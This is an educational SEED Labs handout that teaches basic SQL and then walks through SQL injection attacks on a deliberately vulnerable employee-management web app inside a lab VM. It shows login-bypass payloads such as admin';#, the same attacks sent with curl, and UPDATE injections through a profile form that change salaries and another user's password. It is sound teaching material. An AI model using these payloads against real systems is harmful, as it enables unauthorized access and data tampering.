LAB: SQL INJECTION

LAB: SQL INJECTION

This lab is mainly focused on SQL Injection attack, which is a technique that exploits the database of an application. Here you can learn basic things in SQL like, creating databases, creating tables and inserting the records into the table. Finally, we Inject malicious SQL code to exploit the database.

1. INSTRUCTIONS

This lab is performed on SeedLab's Ubuntu Linux version 16.04. It is prebuilt virtual machine which has all the necessary tools to perform this attack.

1.User ID: seed ,	Password: dees
2.UserID: root ,	Password: seedubuntu

Note: ubuntu does not allow root to login directly from login window. You have to login as a normal user, and then use the command su to login to the root account.

1.1: What is SQL?

SQL stands for Structured Query Language. It is a standard language to communicate with the relational database management systems. It is used to add, update, retrieve delete data from the database. Some common relational database management systems are Oracle, Microsoft SQL Server and MySQL etc.,

1.2: What is SQL Injection?

SQL Injection is a type of attack where user inputs the applications with malicious SQL code and takes the control over the application's database. Attacker may input the code through a front-end form. When the user input (malicious SQL code) passes to backend it may corrupt the databases.



Attacker uses SQL injection to bypass authentication and authorization and retrieve contents of entire database. It is also used to add, modify and delete the records in the database affecting the database integrity.

2. SQL ESSENTIALS

2.1. Log-in to MySQL

Open the 'Terminal' in seedlab's VM and type the following command to login to the MySQL.

\$mysql -uroot -pseedubuntu



2.2. Create a Database

The show databases; command is used to list all the existing databases. Then we will create a database called 'student'.

```
mysql> show databases;
mysql> CREATE DATABASE database name;
```



nysql> show databases;		
Database		
information_schema Users elgg_csrf elgg_xss mysql performance_schema phpmyadmin svs		
B rows in set (0.01 sec)	mysql> CREATE DATABASE student; Query OK, 1 row affected (0.00 sec)	Ĩ
nysql>	mysql>	2

2.3. Create a Table

We have just created a database called STUDENT. This database is empty at this point. Relational databases store the data using the tables. Let us create a table called `tbl1'.

```
mysql> CREATE TABLE tbl1 ( ID int NOT NULL AUTO_INCREMENT, Name VARCHAR(30) NOT NULL, Department VARCHAR(50) NOT NULL, Password VARCHAR(60), PRIMARY KEY (ID) );
Query OK, 0 rows affected (0.13 sec)
```

```
mysql>CREATE TABLE tbl1 (
```

ID int NOT NULL AUTO_INCREMENT, Name VARCHAR(30) NOT NULL, Department VARCHAR(50) NOT NULL, Password VARCHAR(60), PRIMARY KEY(ID));

Field	Туре	Null	Key	Default	Extra
ID Name Department Password	int(11) varchar(30) varchar(50) varchar(60)	NO NO NO YES	PRI	NULL NULL NULL NULL	auto_increment

Page | 3

2.4. Insert Rows

Data is stored in tables in the form of rows. Each row of data is called as a 'Record'. Now let us insert few records into the table. We are not specifying the value for the ID column because we used AUTO_INCREMENT statement for that row, It allows a unique number to be generated when a new record is inserted into a table.

mysql> INSERT INTO tbl1 (Name, Department, Password) VALUES ('Charles', 'Computers', 'pass1'); Query OK, 1 row affected (0.01 sec)

We can also insert multiple rows at once.

```
mysql>
mysql>
mysql> INSERT INTO tbl1 (Name, Department, Password) VALUES ('Jack', 'Computers', 'pass2'),
    -> ('Tom', 'Mechanical', 'pass3'), ('John', 'Bio-Science', 'pass4'), ('harry', 'Psychology', 'pass5');
Query OK, 4 rows affected (0.00 sec)
Records: 4 Duplicates: 0 Warnings: 0
```

```
>INSERT INTO tbl1 (Name, Department, Password) VALUES
('Charles', 'Computers', 'pass1');
```

```
>INSERT INTO tbl1 (Name, Department, Password) VALUES ('Jack',
'Computers', 'pass2'),('Tom', 'Mechanical', 'pass3'), ('John',
'Bio-Science', 'pass4'), ('harry', 'Psychology', 'pass5');
```

2.5. Retrieve Data

We use SELECT statements to retrieve data from the database. It is the most simple and common command to retrieve information. In the following example we will retrieve all the records from the database.

ID	Name	Department	Password
1	Charles	Computers	pass1
2	Jack	Computers	pass2
3	Tom	Mechanical	pass3
4	John	Bio-Science	pass4
5	harry	Psychology	pass5



2.6. WHERE Clause

WHERE Clause is used filter the records. It sets conditions for several types of SQL statements. Only statements which satisfy the condition are retrieved from the database.

In the following example, the statement retrieves the record whose ID is equal to 5. In our case ID 5 belongs to harry.

mysql> SELECT * FROM tbl1 WHERE ID=5; ID | Name | Department | Password | 5 | harry | Psychology | pass5 -+----+----+-----+----+------+-1 row in set (0.00 sec)

In this example, statement retrieve records whose department is 'Computers'. There were two records that satisfy this condition.

mysql>	SELECT *	FROM tbl1 WHE	<pre>ERE Department='Computers';</pre>
ID	Name	Department	Password
1 2	Charles Jack	Computers Computers	pass1 pass2
2 rows	in set (0	0.00 sec)	

If the condition is always True, then it retrieves all the rows.

ID	Name	Department	Password
1	Charles	Computers	pass1
2	Jack	Computers	pass2
3	Tom	Mechanical	pass3
4	John	Bio-Science	pass4
5	harry	Psychology	pass5



2.7. UPDATE SQL Statement

Update query is used to modify the existing records in the table. Let us UPDATE the Department of 'Jack'. Right now, it is 'Computers'. Let us change it to 'Electrical'.

mysql> UPDATE tbl1 SET Department='Electrical' WHERE Name='Jack'; Query OK, 1 row affected (0.12 sec) Rows matched: 1 Changed: 1 Warnings: 0

```
mysql> SELECT * FROM tbl1 WHERE Name='Jack';

| ID | Name | Department | Password |

+---+

| 2 | Jack | Electrical | pass2 |

+---+

1 row in set (0.00 sec)
```

3. WEB APPLICATION ARCHITECTURE

Web application consists of three major components they are

1.Web Browser – Client side – Communicates with user.

2.Web application and server – generates and delivers content to browser.

3.Database – stores data.



SQL Injection attacks causes severe damage to the database. Users communicate to the database with the help of Web servers. If these servers are not implemented properly there is a chance of SQL Injection attack.



3.1. Start Apache Server

It is a web server that hosts HTTP based websites. It supports multiple programming languages, server-side scripting, authentication mechanism and database support.

```
[12/05/18]seed@VM:~$ sudo service apache2 start
[sudo] password for seed:
[12/05/18]seed@VM:~$
```

4. LAB TASKS

We have learnt how to create databases, tables and INSERT, SELECT UPDATE from the rows.

Now it's time to perform actual SQL Injection attack. For this lab we need three tools, (1) Firefox Web Browser, (2) Apache web server, (3) Web application. The pre-built VM image provided to you has already installed all these applications for you.

Web application

This VM has pre-built Employee Management web application for this lab. The web application is used to store employee profile information.



Employees can view and update their personal information in the database through this web application.

There are mainly two roles in this web application; Administrator is a privilege role and can manage each individual employees' profile information; Employee is a normal role and can view or update his/her own profile VM already has several employee accounts for this application.

ID Name	EID	Salary	birth	SSN	PhoneNumber	Address	Email	NickName	Password
1 Alice 2 Boby 3 Ryan 4 Samy 5 Ted 6 Admin	10000 20000 30000 40000 50000 99999	20000 30000 50000 90000 110000 400000	9/20 4/20 4/10 1/11 11/3 3/5	10211002 10213352 98993524 32193525 32111111 43254314			- /-		fdbe918bdae83000aa54747fc95fe0470fff4976 b78ed97677c161c1c82c142906674ad15242b2d4 a3c50276cb120637cca669eb38fb9928b017e9ef 995b8b8c183f349b3cab0ae7fccd39133508d2af 99343bff28a7bb51cb6f22cb20a618701a2c2f58 a5bdf35a1df4ea895905f6f6618e83951a6effc0

Open Firefox browser and go to t <u>www.SEEDLabSQLInjection.com</u>. You can see the below screen in your browser.

SULLE	J - MUZILLA FILEIUX				1 BI 1 10 2.57 PTM 12
Ø	File Edit Yiew Higtory Bookmarks Tools Help SQLILab X + + -				
	(←) → C ^a			😇 🚖 🔍 Search	≣\ <mark>⊚</mark> ⊠ ≡
	🌣 Most Visited 🗎 SEED Labs 🗎 Sites for Labs				
5					
·					
		En	ployee Profile Login		
1					
		USERNAME	Username		
2		PASSWORD	Password		
			Login		
			Copyright © SEED LABs		
-					

4.1. Task 1: Retrieve data from Application Database

The objective of this task is to get familiar with SQL commands by playing with the provided database. Database Users contains a table called credential; the table stores the personal information of every employee.

Please login to MySQL console using the following command

\$ mysql -u root -pseedubuntu

۲

load the Users database using following command

mysql> use Users;

use following command to print the tables in Users database

mysql> show tables;

[12/06/18]seed@VM:~\$ mysql -u root -pseedubuntu	 3
mysql: [Warning] Using a password on the command line interface can be insecure	
Welcome to the MySQL monitor. Commands end with ; or \g.	
Your MySQL connection id is 16	
Server version: 5.7.19-0ubuntu0.16.04.1 (Ubuntu)	
Copyright (c) 2000, 2017, Oracle and/or its affiliates. All rights reserved.	
Oracle is a registered trademark of Oracle Corporation and/or its	
affiliates. Other names may be trademarks of their respective	
owners.	
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.	
mysql> use users;	
You can turn off this feature to get a guicker startup with the	
The call turn off this feature to get a quicker startup with sk	
Database changed	
mysgl> show tables;	
+1	
Tables_in_Users	
+	
credential	
1 row in set (0.00 sec)	
I TOW IT SEL TO OU SELT	

Now print all the profile information of employee Alice.

mysql	> select	* from (redential	where I	Name='Alice	';	v		6	000
ID	Name	EID	Salary	birth	SSN	PhoneNumber	Address	Email	NickName	Password
1	Alice	10000	20000	9/20	10211002		\sim		Ŭ.	fdbe918bdae83000aa54747fc95fe0470fff4976
1 rov	in set	(0.00 see	;)			V 2				

4.2. Task 2: SQL Injection Attack on SELECT Statement

4.2.1: SQL Injection Attack from webpage

Our task is to login into the web application as the administrator from the login page. We assume that you do know the administrator's account name which is admin, but you don't know the ID or the password. We can execute the attack in the following way.



	refox	-			ît, En ∦ 4))) 2:42 PM 🔱
File Edit	<u>V</u> iew Hi <u>s</u> tor	y <u>B</u> ook	marks	<u>T</u> ools <u>H</u> elp	
SQLi Lab	C	× +			
Text Edite	i www.see	dlabsqlir	njection.	com	50% ··· 🛛 🛧 » 🗏
	sited 🗎 SEED La	abs 🗎 S	ites for L	abs	
	.A85				
			Emplo	yee Profile Logi	n
			USERNAME	admin';#	
			PASSWORD	Password	
R				Login	
				Login	•
			Co	opyright © SEED LABs	
		u Book	maske	Taala Hala	1 ∎ En 🖇 ◀叭) 2:42 PM 🔱
SOLi Lab		× +			
		dlabsolir	iection	com/upsafe_bome_p	50% ···· 🖸 🛧 » =
$(\leftarrow) \rightarrow ($	- UU WWW SPE	acobaqui	ijeccioni.	com, onsore_nome.pr	
	sited 🖻 SEED La	abs 🖻 S	ites for L	abs	
↔ → C ☆ Most Vis	sited 🗎 SEED La	abs 🗎 S dit Profile	ites for L	abs	Logout
← → C ☆ Most Vis SEEDL	sited 🗎 SEED Li	abs 🗎 S dit Profile	ites for L	abs	Logout
	sited 🗎 SEED Li	abs 🗎 S dit Profile	ites for L	abs ser Details	Logout
← → C ☆ Most Vi ◎ SEEDL	sited 🗎 SEED Li	abs 🗎 S	ites for L	ser Details	Logout
	sited 🗎 SEED Li ABS Home E	abs 📄 S dit Profile Salary	Birthday	ser Details	Email Address Ph. Number
	Username Eld	abs 📄 S dit Profile	Birthday 9/20	ser Details SSN Nickname 10211002	Email Address Ph. Number
	Username Eld Alice 10000 Boby 20000	Salary 20000 30000	Birthday 9/20 4/20	Ser Details SSN Nickname 10211002	Email Address Ph. Number
	Sited SEED La Sited SEED La Aas Home E Alice 10000 Boby 20000 Ryan 30000 Samy 40000	abs S dit Profile Salary 20000 30000 50000 90000 90000	Birthday 9/20 4/20 1/11	SSN Nickname 10211002 - 10213352 - 98993524 - 32193525 -	Email Address Ph. Number
	Sited SEED La Sited SEED La Aas Home E Alice 10000 Boby 20000 Ryan 30000 Samy 40000 Ted 50000	Salary Salary 20000 30000 50000 90000 110000	Birthday 9/20 4/20 1/11 11/3	SSN Nickname 10211002 - 10213352 - 98993524 - 32193525 - 32111111 -	Email Address Ph. Number
	Sited SEED La Sited SEED La ABS Home E Alice 10000 Boby 20000 Ryan 30000 Samy 40000 Ted 50000 Admin 99999	Salary Salary 20000 30000 50000 90000 110000 400000	Birthday 9/20 4/20 4/10 1/11 11/3 3/5	SSN Nickname 10211002 10213352 98993524 32193525 32111111 43254314	Email Address Ph. Number
	Sited SEED La sited SEED La Alice 10000 Boby 20000 Ryan 30000 Samy 40000 Ted 50000 Admin 99999	Salary Salary 20000 30000 30000 90000 110000 400000	Birthday 9/20 4/20 4/10 1/11 11/3 3/5	SSN Nickname 10211002 10213352 98993524 32193525 3211111 43254314	Email Address Ph. Number Image: I
	Sited SEED La Sited SEED La Alice 10000 Boby 20000 Ryan 30000 Samy 40000 Ted 50000 Admin 99999	Salary Salary 20000 30000 30000 90000 110000 400000	Birthday 9/20 4/20 4/10 1/11 11/3 3/5	SSN Nickname 10211002 - 10213352 - 98993524 - 32193525 - 32111111 - 43254314 -	Email Address Ph. Number Image: I



8 🗆 🖻			1∎ En 🖇 🕪) 2:49 PM 🔱
	<u>File E</u> dit <u>V</u> iew Hi <u>s</u> tory <u>B</u> oo	okmarks <u>T</u> ools <u>H</u> elp	
0	SQLi Lab × +		
	← → C i www.seedlabsql	linjection.com/index.html	50% ··· ♥☆ ≫ Ξ
	A Most Visited 🗎 SEED Labs 🗎	Sites for Labs	
ISI			
		Employee Profile Login	
لگ			
		USERNAME admin' AND 1=1;#	
		PASSWORD Password	
$\overline{\mathbf{A}}$			
29		Login	
		Copyright © SEED LABs	
100			

8 🗢 📼	1								†↓ [in ∦ ∢))	2:50 PM	ψ
Q	<u>File</u> <u>E</u> dit SQLi Lab	<u>V</u> iew I	Hi <u>s</u> tory >	<u>B</u> ool < +	kmarks	<u>T</u> ools <u>I</u>	<u>+</u> elp					
	← → C ☆ Most Vis	i www.sited 🗎 S	w.seed	dlabsqli bs 🗎 S	njection.o Sites for L	com/unsa .abs	fe_home.p	hp	50%	🖸	☆ »	≡
2	ØSEED.	ABS Ho	me Ed	it Profile							L	gout
3					Us	ser De	tails					
		Username	Eld	Salary	Birthday	SSN	Nickname	Email	Address	Ph. Number		
		Alice	10000	20000	9/20	10211002						
		Boby	20000	30000	4/20	10213352						
		Ryan	30000	50000	4/10	98993524						
		Samy	40000	90000	1/11	32193525						
		Ted	50000	110000	11/3	32111111						
1-4		Admin	99999	400000	3/5	43254314						
					Co	opyright © SE	ED LABs					
		Admin	99999	400000	3/5 Co	43254314	ED LABs					

This attack can be done in other way.



4.2.2: SQL Injection Attack from command line:

We are repeating the task 3.1 but here we are using command line tool such as curl to perform our task. Curl is a tool which can send HTTP requests, if you want to include multiple parameters in HTTP requests, you need to put URL and the parameters between a pair of single quotes; otherwise, the special characters used to separate parameters (such as &) will be interpreted by the shell program, changing the meaning of the command.

8 🗢 🖻	Terminal File Edit View Search Terminal Help 📫 🖬 🕏 📣) 3:55 PM 🔱					
Q	[09/11/18]seed@VM:~\$ curl 'http://www.seedlabsqlinjection.com/unsafe_home.php?username=adm in%27%3B%23&Password='					
	Terminal File Edit View Search Terminal Help T En K (1)) 3:57 PM (2)					
6	<tink css_ret="stytesneet" inter="css/styte_nome.css_type=" text=""></tink>					
	Browser Tab title <title>SQLi Lab</title>					
	 <body></body>					
1	<pre><nav class="navbar fixed-top navbar-expand-lg navbar-light" style="background-color: #3EA055;"></nav></pre>					
	<pre><img "sefen="" abs"="" actions<="" alt="" pre="" src="seed_logo.png" style="height: 40px; wid thu 2000rul"/></pre>					
S	th: 200px; att= SEEDLabs >					
	<pre><ul class="navbar-nav mr-auto mt-2 mt-lg-0" style="padding-left: 30px;"><l1 class="nav-item activ e">Home (current)</l1></pre>					
	lass='nav-item'> Edit Profile https://dissaft.com/ass					
	<pre>><div class="container"> <hl class="text-center"> User Details </hl><hr/> le table-striped table-bordered'><thead class="thead-dark">Username</thead></div></pre>					
	col'>EIdSalaryBirthdaySSN <th scope<="" td=""></th>					
	<pre>>/th></pre>					
	td>					
A	>30000500004/1098993524< <td><<td><<td><<td><<td><<</td></td></td></td></td>	< <td><<td><<td><<td><<</td></td></td></td>	< <td><<td><<td><<</td></td></td>	< <td><<td><<</td></td>	< <td><<</td>	<<
	<					
	03/543254314<					
	<pre><div class="text-center"></div></pre>					
100	Copyright © SEED LABs					
	 <script type="text/javascript"></td></tr><tr><td></td><td><pre>function logout(){ location.href = "logoff.php";</pre></td></tr><tr><td></td><td>} </script>					
▶ ▶						

Another way it can be done:



OR

(cc)

۲

es (C5)

Page | 12

8 🗆 🗩	Terminal	File	Edit	View	Search	Terminal	Help		_t₊	En	*	€))	4:14 PM	₩
0	[09/11/18] 01=1%20%23	seed@ &Passi	VM:~\$ word='	curl '	http://ww	w.seedlabs	qlinjection.	com/unsafe_home	.php?	usern	ame	=admi	n%27%20ANI	D%2

If you execute these command in the terminal, you should get the below output.

Termina	ו 1 בה א אוו) 3:59 PM 🖑
	<link href="css/style_home.css" rel="stylesheet" type="text/css"/>
Q	Browser Tab title <title>SQLi Lab</title>
(III)	
	<pre><pre><coody> </coody></pre></pre> <pre><coody> </coody></pre> <pre></pre> <pre><pre></pre><pre></pre><pre><p< td=""></p<></pre></pre>
	th: 200px;" alt="SEEDLabs">
2	cul class-insubar naw mr auto mt 2 mt la Al stulo-insudding loft; 20nv.i.cli slass-inaw item astiv
	e'> Home (urent)
	lass='nav-item'> Edit Profile <button o<="" th=""></button>
3	nclick='logout()' type='button' id='logoffBtn' class='nav-link my-2 my-lg-0'>Logout
	le table-striped table-bordered'> <thead class="thead-dark">Username<</thead>
	col'>EIdSalaryBirthdaySSNSite scope='col'>Site scope='col'
4	<pre>cot >witchiame</pre> /thead>come/thead>come/thead>come/thead>come/thead><
	02>/td>>/td>>/td><
	td>4/2010213352<
5	<pre>> Samy40000900001/1132193525<</pre>
	<
	$\frac{11}{\sqrt{10}}$
6	
	<pre><dlv class="text-center"></dlv></pre>
	Copyright © SEED LABs
7	

4.2.3: Append a new SQL Statement

In the above two attacks, we can only steal information from the database; it will be better if we can modify the database using the same vulnerability in the login page.





This is because the query() function used in the code accepts only one SQL statement. This is one of the protections against SQL Injection.



4.3. Task 3: SQL Injection Attack on UPDATE Statement

4.3.1. SQL Injection Attack on UPDATE Statement – modify salary:

If a SQL injection vulnerability happens to an UPDATE statement, the damage will be more severe, because attackers can use the vulnerability to modify databases.



Now we are logged into Alice's profile. We can see her profile information like Employee ID, Salary and Date of Birth etc.,



× • •		_			_					1	LI En	*	∢)) 5	:02 PM	1 ±
0	<u>F</u> ile <u>E</u>	<u>dit</u>	<u>V</u> iew	Hi <u>s</u> tory	<u>B</u> ook	marks	<u>T</u> ools	<u>H</u> el	P						
	JQLILO	0	_	^	<u>'</u>										
	$(\leftarrow) \rightarrow$	G	(i) w	ww.seedl	absqlir	njection.	.com/un	nsafe_	home.php	50	0%	•••• (♥ ☆	»	≡
	🛱 Mos	t Visite	ed 🗎	SEED Lab	s 🗎 S	ites for	Labs								
SI	⊗se:		5 H	lome Edit	Profile									Lo	ogout
						Α	lice I	Prof	file						
							Кеу		Value						
						Empl	loyee ID		10000						
1						S	alary		20000						
ĽЧ						e	Birth		9/20						
							SSN		10211002						
						Nic	kName								
						E	mail								
						Ad	dress								
						Phone	e Number								
						c	Copyright ©	SEED	LABs						

In our Employee management application, there is an 'Edit Profile' page that allows employees to update their profile information, including nickname, email, address, phone number and password.

SQLi Lal	b - Moz	illa Fire	efox					t‡	En 🖇 🖘))	5:09 PM	华
Q	<u>F</u> ile SQLi	<u>E</u> dit Lab	<u>V</u> iew	Hi <u>s</u> tory ×	<u>B</u> ookmarks +	<u>T</u> ools	<u>H</u> elp				
1	(←) \$ №	→ C ⁱ ost Visi	i v	www.seed	labsqlinjection. s 🗎 Sites for L	com/un .abs	safe_edit_from	50%		☆ »	≡
5	1	EEDLA	as I	lome Edit	Profile					Lo	gout
					Alic	e's Pr	ofile Edit				
					NickName	',Sala	ary='50000				
					Email	Ema	il				
R					Address	Addr	ess				
					Phone Number	Phor	eNumber				
	1				Password	Pass	word				
%						Sa	ve				
					Co	opyright ©	SEED LABs				
											Page

۲

(cc)

888				t. 63	∲ 1)) 5:10 PM	215
Q	<u>File E</u> dit <u>V</u> iew History <u>B</u> oo SQLi Lab × +	okmarks <u>T</u> ools	<u>H</u> elp	-+ 💷		~~
	← → C ^I ③ www.seedlabsql ☆ Most Visited 🗎 SEED Labs 🗎	linjection.com/un Sites for Labs	safe_home.php	50% •	··· 🛡 🏠 »	≡
	SEEDLARS Home Edit Profile	2			Lo	gout
		Alice P	rofile			
		Key	Value			
		Employee ID	10000			
N		Salary	50000			
		SSN	9/20			
· 🔁 ·		NickName	10211002			
		Email				
		Address				
		Phone Number				
		Copyright ©	SEED LABs			

4.3.2. SQL Injection Attack on UPDATE Statement – modify other people' salary

In this taks we are modifying Boby's salary to 1 dollar from Alice's edit profile page. We are using 'Phone number column' to enter a phone number and edit salary for Boby. Please enter the following query in the Phone Number field.

7089721357', Salary= `1' WHERE Name= "Boby";#



800	<u>F</u> ile <u>E</u> dit <u>V</u> iew Hi <u>s</u> tory <u>B</u> ookm	†ৄ En 💲 ৰ৩)) 5:14 PM 🛟 arks <u>T</u> ools <u>H</u> elp
0	SQLiLab × +	
1	$\leftarrow \rightarrow C^{\prime}$ (i) www.seedlabsqlinje	ection.com/unsafe_edit_front 80% ···· 💟 🏠 » 🚍
		es for Labs
	Alic	e's Profile Edit
	NickName	NickName
	Email	Email
ГЛ	Address	Address
	Phone Number	7089721357', Salary='1' WHERE Name
1	Password	Password
		Save
	<u>File E</u> dit <u>V</u> iew Hi <u>s</u> tory <u>B</u> ookma	1∎ En \$ ৰ>)) 5:14 PM ২০০০ arks <u>T</u> ools <u>H</u> elp
× • •	<u>File Edit View History B</u> ookma SQLi Lab \times +	tu En 劣 40) 5:14 PM 供 arks <u>T</u> ools <u>H</u> elp
	File Edit View History Bookma SQLi Lab × + ← → C ⁴ ① www.seedlabsqlinje ☆ Most Visited EED Labs ☐ Site	■ 「 * ● * ●) 5:14 PM ひ arks <u>T</u> ools <u>H</u> elp ction.com/unsafe_edit_from <u>80%</u> ···· ♡ ☆ ≫ 三 es for Labs
	File Edit View History Bookma SQLi Lab × + ← → C' ① www.seedlabsqlinje ☆ Most Visited □ SEED Labs □ Site	t∎ ি \$ ●)) 5:14 PM ☆ arks Tools Help ction.com/unsafe_edit_front 80% … ♥ ☆ ≫ = es for Labs
	File Edit View History Bookma SQLi Lab × + ← → C ⁴ ① www.seedlabsqlinje ☆ Most Visited ESEED Labs Estee ▲ ▲ ▲ ▲	t
	File Edit View History Bookma SQLi Lab × + ← → C ^I ① www.seedlabsqlinje ☆ Most Visited □ SEED Labs □ Site	t
	File Edit View History Bookma SQLi Lab × + ← → C ^a ① www.seedlabsqlinje ☆ Most Visited EED Labs Site Alic NickName	t
	File Edit View History Bookma SQLi Lab × + ← → C ^a ① www.seedlabsqlinje ☆ Most Visited SEED Labs Site Allic NickName Email	t
	File Edit View History Bookma SQLi Lab × + ← → C ⁴ ① www.seedlabsqlinje ☆ Most Visited 🗎 SEED Labs 🗎 Site Alic NickName Email Address	t
	File Edit View History Bookma SQLi Lab × + ← → C ⁴ ① www.seedlabsqlinje ☆ Most Visited 🗎 SEED Labs 🗎 Site ▲ ▲ ▲ ▲ ● ○ www.seedlabsqlinje ▲ ↓ ● SEED Labs 🗎 Site ▲ ▲ ▲ ▲ ● ○ www.seedlabsqlinje ▲ ↓ ● ○ www.seedlabsqlinje ▲ ● ● ○ www.seedlabsqlinje ▲ ▲ ● ○ Www.seedlabsqlinje ▲ ▲ ● ● ○ Www.seedlabsqlinje ▲ ▲ ● ● ○ ● ● ● ▲ ● ● ○ ● ● ● ● ▲ ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ●	Image: Second Seco
	File Edit View History Bookma SQLi Lab × + ← → C ^a ① www.seedlabsqlinje ☆ Most Visited □ SEED Labs □ Site ▲ Most Visited □ See □ Address ▶ Phone Number ■ Password □ Address	Image: Second Seco
	File Edit View History Bookmassing SQLi Lab × + ← → C ^I • www.seedlabsqlinje ☆ Most Visited > SEED Labs > Site ▲ Most Visited > SeeD Labs > SeeD Labs ▲ Most Visited > SeeD Labs > SeeD Labs	t

Now click on 'Logout' and you will be logged out from Alice's profile. You need to log in as administrator to see the changes made. For that go to 'Home' and log in as administrator as shown below.

 \odot

۲

E	mployee Profile Login
USERNAM	te admin';#
PASSWOP	D Password
	Login
	Copyright © SEED LABs

Here you can see the changes made to Boby's profile. Previously Boby's salary was 30000 now it is changed to one dollar.

800									†↓ [En 状 🕬)	5:15 PM	1 垈
0	<u>F</u> ile <u>E</u> dit	<u>V</u> iew H	Hi <u>s</u> tory	<u>B</u> ool < +	kmarks	<u>T</u> ools <u>I</u>	<u>+</u> elp					
	← → C ✿ Most Vis	े ां ww sited 🗎 Si	/w.see	dlabsqli bs 🗎 S	njection.o Sites for L	.abs	fe_home.p		50%	🖸	☆ »	≡
	\$5220 .	ABS Ho	me Ed	lit Profile							Lo	ogout
					Us	ser De	tails					
		Username	Eld	Salary	Birthday	SSN	Nickname	Email	Address	Ph. Number		
		Alice	10000	50000	9/20	10211002						
		Boby	20000	1	4/20	10213352				7089721357		
ГЛ		Ryan	30000	50000	4/10	98993524						
		Samy	40000	90000	1/11	32193525						
		Ted	50000	110000	11/3	32111111						
-		Admin	99999	400000	3/5	43254314						
					Co	opyright © SE	ED LABs					



This document is licensed with a Creative Commons Attribution 4.0 International License ©2017 Catalyzing Computing and Cybersecurity in unity Colleges (C5).

4.3.3. SQL Injection Attack on UPDATE Statement - Modify other people' password:

We created a php program to create sha1 hash of password ("lockedOut") to set for Boby. Go to nano editor and create a php file called test.php and pass the following code into the file.



When we run the file, it produces Sha1 hash for "lockedOut":



Now we are creating the Injection to change the password for Boby through Alice's account. Go to Alice's edit profile section and enter the following statement in alice's phone number field.

```
',password='hashValue' WHERE name="Boby";#
```



C O WWW.seedlabsqlinjection.com/unsafe_edit_from @000 ··· ♥ ☆ > = A Most Visited □ SEED Labs □ Sites for Labs Alice's Profile Edit NickName Email Email Address Address Address Phone Number password='7463a92a2df55d769f5883 Password	File Edit View History Bookma SQLi Lab X +	†∎ En 🕏 ৰ৩)) 7:58 PM ੯ੈੈੈ arks <u>T</u> ools <u>H</u> elp
Most Visited is SEED Labs is Sites for Labs Alice's Profile Edit NickName Email Email Email Address Address Address Phone Number .password Password Password Password Save File Edit View Higtory Bookmarks Soul Lab Steep Soul Lab Sites for Labs Most Visited in SEED Labs is Sites for Labs NickName NickName NickName Email Email Email Email Email Email Address Phone Number Sladerss <	\leftarrow \rightarrow C \odot www.seedlabsqlinje	ection.com/unsafe_edit_front 🛛 🔞 🐘 🗢 🚖 🚿 🗏
Alice's Profile Edit NickName Email Email Address Address Address Phone Number () password='7463a92a2df55d769f5883 Password Password Password Save Imail Imail <th>Most Visited 🗎 SEED Labs 🗎 Site</th> <th>es for Labs</th>	Most Visited 🗎 SEED Labs 🗎 Site	es for Labs
NickName NickName Email Email Address Address Phone Number [],password='7463a92a2df55d769f5883 Password Password Save Save Save Save Save Save Save Save Save Save Save Save Save Save Save <	Alic	e's Profile Edit
Email Email Address Address Phone Number),password='7463a92a2df55d769f5883 Password Password Password Save	NickName	NickName
Address Address Phone Number ,,password='7463a92a2df55d769f5883 Password Password Password Password Save Save Password * * * * * * * * * * * * * * * * * * *	Email	Email
Phone Number Password Password Save Save <p< th=""><th>Address</th><th>Address</th></p<>	Address	Address
Password Password Save Squitab × Squitab Squitab <	Phone Number	password='7463a92a2df55d769f5883
Save Image: Solution in the image: Solution in t	Password	Password
 File Edit View Higtory Bookmarks Tools Help SQLiLab × + C O www.seedlabsqlinjection.com/unsafe_edit_front 80% ··· ♥ ☆ ≫ ≡ ★ Most Visited SEED Labs Sites for Labs Altice's Profile Edit NickName NickName Email Email Address Address Phone Number 5126b739cd9' WHERE name="Boby";# Password Password 		Save
Address Address Phone Number 5126b739cd9' WHERE name="Boby";# Password Password	⊗⊜⊜ <u>File E</u> dit <u>V</u> iew Hi <u>s</u> tory <u>B</u> ookma SQLi Lab × +	¶∎ En 求 ৰা)) 7:58 PM ∰ arks <u>T</u> ools <u>H</u> elp
* Most Visited SEED Labs Sites for Labs Sites for Labs Alice's Profile Edit NickName NickName Imail Address Address Address Phone Number 5126b739cd9' WHERE name="Boby";#] Password Password	$\bigcirc \longleftrightarrow \rightarrow C \bigcirc www.seedlabsqlinje$	ction.com/unsafe_edit_front 80% ···· 🛡 🏠 >> 😑
Alice's Profile Edit NickName NickName Email Address Address Address Phone Number 5126b739cd9' WHERE name="Boby";#] Password	A Most Visited SEED Labs Site	es for Labs
NickName Email Address Address Phone Number 5126b739cd9' WHERE name="Boby";#] Password Password		
Image: Mickwame Image:		e's Profile Edit
Address Address Address Phone Number 5126b739cd9' WHERE name="Boby";#] Password Password	AllC	e's Profile Edit
Address Address Phone Number 5126b739cd9' WHERE name="Boby";# Password Password	All C NickName	NickName
Phone Number 5126b739cd9' WHERE name="Boby";# Password Password	Allo NickName Email	NickName Email
Password Password	All NickName Email Address	NickName Email Address
	All NickName Email Address Phone Number	NickName Email Address 5126b739cd9' WHERE name="Boby";#
Save	Image: Constraint of the second system NickName Image: Constraint of the second system Email Image: Constraint of the second system Address Image: Constraint of the second system Phone Number Image: Constraint of the second system Password	NickName Email Address 5126b739cd9' WHERE name="Boby";# Password

Page | 21

Then go to the terminal and open boby's record from the database using the following statement.

Mysql> SELECT * FROM credential WHERE Name="Boby";

Successfully changed the password and now, we can log in with username: "Boby" and Password: "lockedOut"

Go to browser and login with the new credentials.

۲

	<u>F</u> ile <u>E</u> dit <u>V</u> iew Hi <u>s</u> tory <u>B</u> oo	okmarks <u>T</u> ools	<u>H</u> elp	↑ ↓ [En ∦ ∢))) 8:02 PI	v \$
	SQLi Lab × +						
	← → C ^I ③ www.seedlabsql ☆ Most Visited 🗎 SEED Labs 🗎	linjection.com/uns Sites for Labs	afe_home.php	50%	💟	☆≫	≡
5	SEEDLABS Home Edit Profile	2				Ľ	ogout
		Boby P	rofile				
		Key	Value				
		Employee ID	20000				
		Salary	1				
ĽЧ		Birth	4/20				
		SSN	10213352				
		NickName					
		Email					
		Address					
		Phone Number					
2		Copyright © S	EED LABs				

WHAT TO SUBMIT

Please provide screen shots of the results obtained by running program examples. You are expected to make modifications to better understand how the attack can be generated and how the defense works.

